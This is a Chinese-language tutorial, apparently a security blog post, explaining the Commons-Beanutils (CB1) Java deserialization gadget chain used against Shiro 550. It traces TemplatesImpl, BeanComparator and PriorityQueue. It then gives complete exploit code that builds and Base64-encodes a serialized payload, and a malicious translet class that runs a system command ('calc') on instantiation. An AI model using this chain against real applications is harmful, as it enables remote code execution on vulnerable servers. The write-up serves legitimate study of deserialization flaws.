参考文章

  1. Java反序列化Commons-Beanutils篇-CB链
  2. freebuf-关于我学渗透的那档子事之Java反序列化-CB链
  3. 博客园-java 反序列化cb1复现

前置知识

shiro550中自带CommonsBeanutils 1.8.3 和 commons-collections-3.2.1的依赖,可以利用此条链进行攻击

环境

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

CommonsBeanutils

Commons BeanUtils 是一个 Apache 开源项目下的一个库,它提供了一套强大而便捷的静态工具方法,用于动态地获取、设置JavaBean 的属性,以及进行类型转换、集合操作等。

它的核心价值在于通过反射(Reflection)机制,让我们能够以字符串名称的方式来访问对象的属性,而无需在编译时就知道类的具体结构。

JavaBean

一个标准的 JavaBean 通常指具有以下特征的类

  1. 有一个公共的无参构造函数
  2. 属性都是私有的(使用 private 修饰)
  3. 属性可以通过公共的 Getter 和 Setter 方法进行访问
    • Getter 方法:用于读取属性值,命名规则为 getXxx()(对于布尔类型,也可以是 isXxx()
    • Setter 方法:用于写入属性值,命名规则为 setXxx()
public class User {
// 私有属性
private String name;
private int age;

// 公共的无参构造函数
public User() {
}

// Getter 和 Setter 方法
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}

CommonsBeanutils利用点

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法

getOutputProperties()方法即其 _outputProperties 属性的 getter方法是加载恶意字节码的起点,我们可以利用前面提到的,commons-beanutils里的PropertyUtils.getProperty()去调用getter

PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
// 等价于
Person person = new Person("Mike");
person.getName();

PropertyUtils.getProperty支持递归获取属性

比如a对象中有属性b, b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c");, 的方式进行递归获取

使用者可以很方便地调用任意对象的getter, 如果getter方法存在可以rce的点可以利用的话,就存在安全问题了

Address 类

public class Address {
private String city;
private String street;

// 必须有无参构造函数
public Address() {}

// Getter and Setter
public String getCity() { return city; }
public void setCity(String city) { this.city = city; }
public String getStreet() { return street; }
public void setStreet(String street) { this.street = street; }
}

User 类

public class User {
private String name;
private Address address; // User 对象中包含另一个对象 Address

// 必须有无参构造函数
public User() {}

// Getter and Setter
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Address getAddress() { return address; }
public void setAddress(Address address) { this.address = address; }
}

递归获取city

// !!! 递归获取 !!!
// 获取 user 的 address 属性的 city 属性
String city = (String) PropertyUtils.getProperty(user, "address.city");
System.out.println("城市: " + city); // 输出: 城市: 北京

利用流程

  1. TemplatesImpt类->调用恶意类
  2. BeanComparator类->利用javabean调用getOutputProperties()
  3. PriorityQueue类->反射调用PropertyUtils#getPropert

TemplatesImpt类

TemplatesImpt类的危险方法是getOutputProperties()

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

newTransformer().getOutputProperties(), 跟进newTransformer()

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

进入getTransletInstance(), 看到做了两个空判断,_null_class,之后_class不为空执行defineTransletClasses(), 跟进

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
// 先看看这里
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization(); // 之后看这里
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

defineClass从_bytecodes[]中还原出一个Class对象并放在_class

private void defineTransletClasses()
// ...
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // 看看这个
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
// ...

这个是defineClass

Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

此时对还原的class做了一个实例化,到这里我们可以得知,在这里传入一个恶意类,通过静态代码块或者构造方法就可以执行恶意操作, 如下

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

BeanComparator类

TemplatesImpt类已经得知该类可以恶意执行命令, 如何调用呢; TemplatesImpl符合javabean的使用条件, 所以就用JavaBean

TemplatesImpl.getOutputProperties()如下

private Properties _outputProperties;

// 跳转到设置设置值的部分

private void init(String transletName,
Properties outputProperties, int indentNumber,
TransformerFactoryImpl tfactory) {
_name = transletName;
_outputProperties = outputProperties;
_indentNumber = indentNumber;
_tfactory = tfactory;
_overrideDefaultParser = tfactory.overrideDefaultParser();
_accessExternalStylesheet = (String) tfactory.getAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET);
}

// 由于是bean, 设置这个值一般是getOutputProperties

/**
* Implements JAXP's Templates.getOutputProperties(). We need to * instanciate a translet to get the output settings, so * we might as well just instanciate a Transformer and use its * implementation of this method. */public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties(); // 关键行
}
catch (TransformerConfigurationException e) {
return null;
}
}

看看都什么函数调用了, 找到了这个PropertyUtils.getProperty()

PropertyUtils.getProperty(templatesImplObj, "outputProperties");

再往上找, 找到了BeanComparator.compare()

当调用 BeanComparator.compare() 函数时,其内部会调用我们前面说的 getProperty 函数,进而调用 JavaBean 中对应属性的 getter 函数

public int compare(Object o1, Object o2) {  
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
}

o1为我们传递的TemplatesImpt类,构造函数直接赋值,property为_outputProperties; 接下来我们只需要找一个同名调用的compare,例如利用CC2/4链中用的 PriorityQueue.readObject()

PriorityQueue类

在CC链中已经介绍过了, 所以简略写一下

PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl#newTransformer()
-> ................
-> TransletClassLoader.defineClass()
-> Evil.newInstance()

queue的size>2, 而add()也会执行compare; 由于在BeanComparator#compare()中,如果 this.property 为空,则直接比较这两个对象; 这里实际上就是对1和2进行排序

BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);

先设置成正常类, 然后我们再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1,2替换成恶意的
TemplateImpl 对象

setFieldValue(comparator,"property","outputProperties");

与CC2/4略微不同的是,还需要用反射去修改 queue属性的值,因为要控制BeanComparator.compare()的参数为恶意templates对象

setFieldValue(queue,"queue",new Object[]{templates,templates});
// 设置BeanComparator.compare()的参数

完整代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\VSC\\JAVA_worksp\\IDEA\\CC1\\target\\classes\\org\\example\\TestTemplatesImpl.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);

setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "size", 2);
setFieldValue(queue, "queue", new Object[]{templates, null});

serialize(queue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos2 = new ObjectOutputStream(bos);
oos2.writeObject(obj);
byte[] buf = bos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(buf));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

TestTemplatesImpl的源码

package org.example;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TestTemplatesImpl extends AbstractTranslet {

public TestTemplatesImpl() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}